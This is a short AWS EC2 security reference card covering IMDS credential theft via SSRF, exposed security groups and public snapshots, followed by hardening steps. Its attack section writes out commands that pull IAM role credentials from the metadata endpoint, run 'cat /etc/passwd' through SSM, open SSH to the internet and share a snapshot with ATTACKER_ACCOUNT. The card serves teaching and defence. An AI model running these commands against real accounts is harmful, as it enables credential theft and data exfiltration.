Elastic Compute Cloud (EC2) provides virtual servers with instance metadata service (IMDS) and security groups. IMDS credential theft via SSRF is the #1 EC2 attack vector - the Capital One breach exploited this.
IMDS at 169.254.169.254 provides instance metadata including IAM role credentials. IMDSv1 allows simple GET requests; IMDSv2 requires a session token, blocking most SSRF attacks.
Attack note: SSRF to IMDS is the most common cloud credential theft technique
Security groups act as virtual firewalls controlling inbound and outbound traffic. SSH (22), RDP (3389), and admin ports exposed to 0.0.0.0/0 are critical vulnerabilities.
Attack note: Open security groups are constantly scanned by automated botnets
EC2 instances with IMDSv1 enabled are vulnerable to SSRF-based credential theft. Open security groups and public snapshots containing secrets are also major attack vectors.
aws ec2 describe-instancesaws ec2 describe-security-groupsaws ec2 describe-snapshots \
--owner-ids self --query 'Snapshots[?Public]'curl http://169.254.169.254/latest/meta-data/curl http://169.254.169.254/latest/user-dataKey insight: IMDS credentials often have overly broad permissions. Check what the role can access.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Then: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>aws ec2 modify-instance-attribute \
--instance-id i-xxx \
--user-data file://payload.shaws ssm send-command \
--instance-ids i-xxx \
--document-name AWS-RunShellScript \
--parameters 'commands=["id", "cat /etc/passwd"]'aws ec2 authorize-security-group-ingress \
--group-id sg-xxx \
--protocol tcp --port 22 --cidr 0.0.0.0/0aws ec2 create-image \
--instance-id i-xxx \
--name "backup-$(date +%s)"aws ec2 modify-snapshot-attribute \
--snapshot-id snap-xxx \
--attribute createVolumePermission \
--operation-type add --user-ids ATTACKER_ACCOUNT{
"IpPermissions": [{
"IpProtocol": "-1",
"IpRanges": [{"CidrIp": "0.0.0.0/0"}]
}]
}Allows ALL traffic from ANYWHERE - complete exposure
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 443,
"ToPort": 443,
"IpRanges": [{"CidrIp": "10.0.0.0/8"}]
}]
}Only HTTPS from internal network - proper restriction
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"IpRanges": [{"CidrIp": "0.0.0.0/0"}]
}]
}SSH open to internet - brute force target
{
"IpPermissions": [{
"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"UserIdGroupPairs": [{
"GroupId": "sg-bastion"
}]
}]
}SSH only from bastion security group
Require session tokens for IMDS access - blocks most SSRF attacks.
aws ec2 modify-instance-metadata-options \
--instance-id i-xxx --http-tokens requiredNo 0.0.0.0/0 ingress rules. Use specific CIDR ranges or security groups.
aws ec2 authorize-security-group-ingress \
--cidr 10.0.0.0/8 --port 443Enable default encryption for all new volumes.
aws ec2 enable-ebs-encryption-by-defaultNo open ports, centralized logging, IAM authentication.
aws ssm start-session --target i-xxxMonitor network traffic for anomalies.
aws ec2 create-flow-logs \
--resource-type VPC --resource-ids vpc-xxxNever make snapshots public. Use RAM for cross-account sharing.
aws ec2 modify-snapshot-attribute \
--snapshot-id snap-xxx --attribute createVolumePermission \
--operation-type removeAWS EC2 Security Card • Toc Consulting
Always obtain proper authorization before testing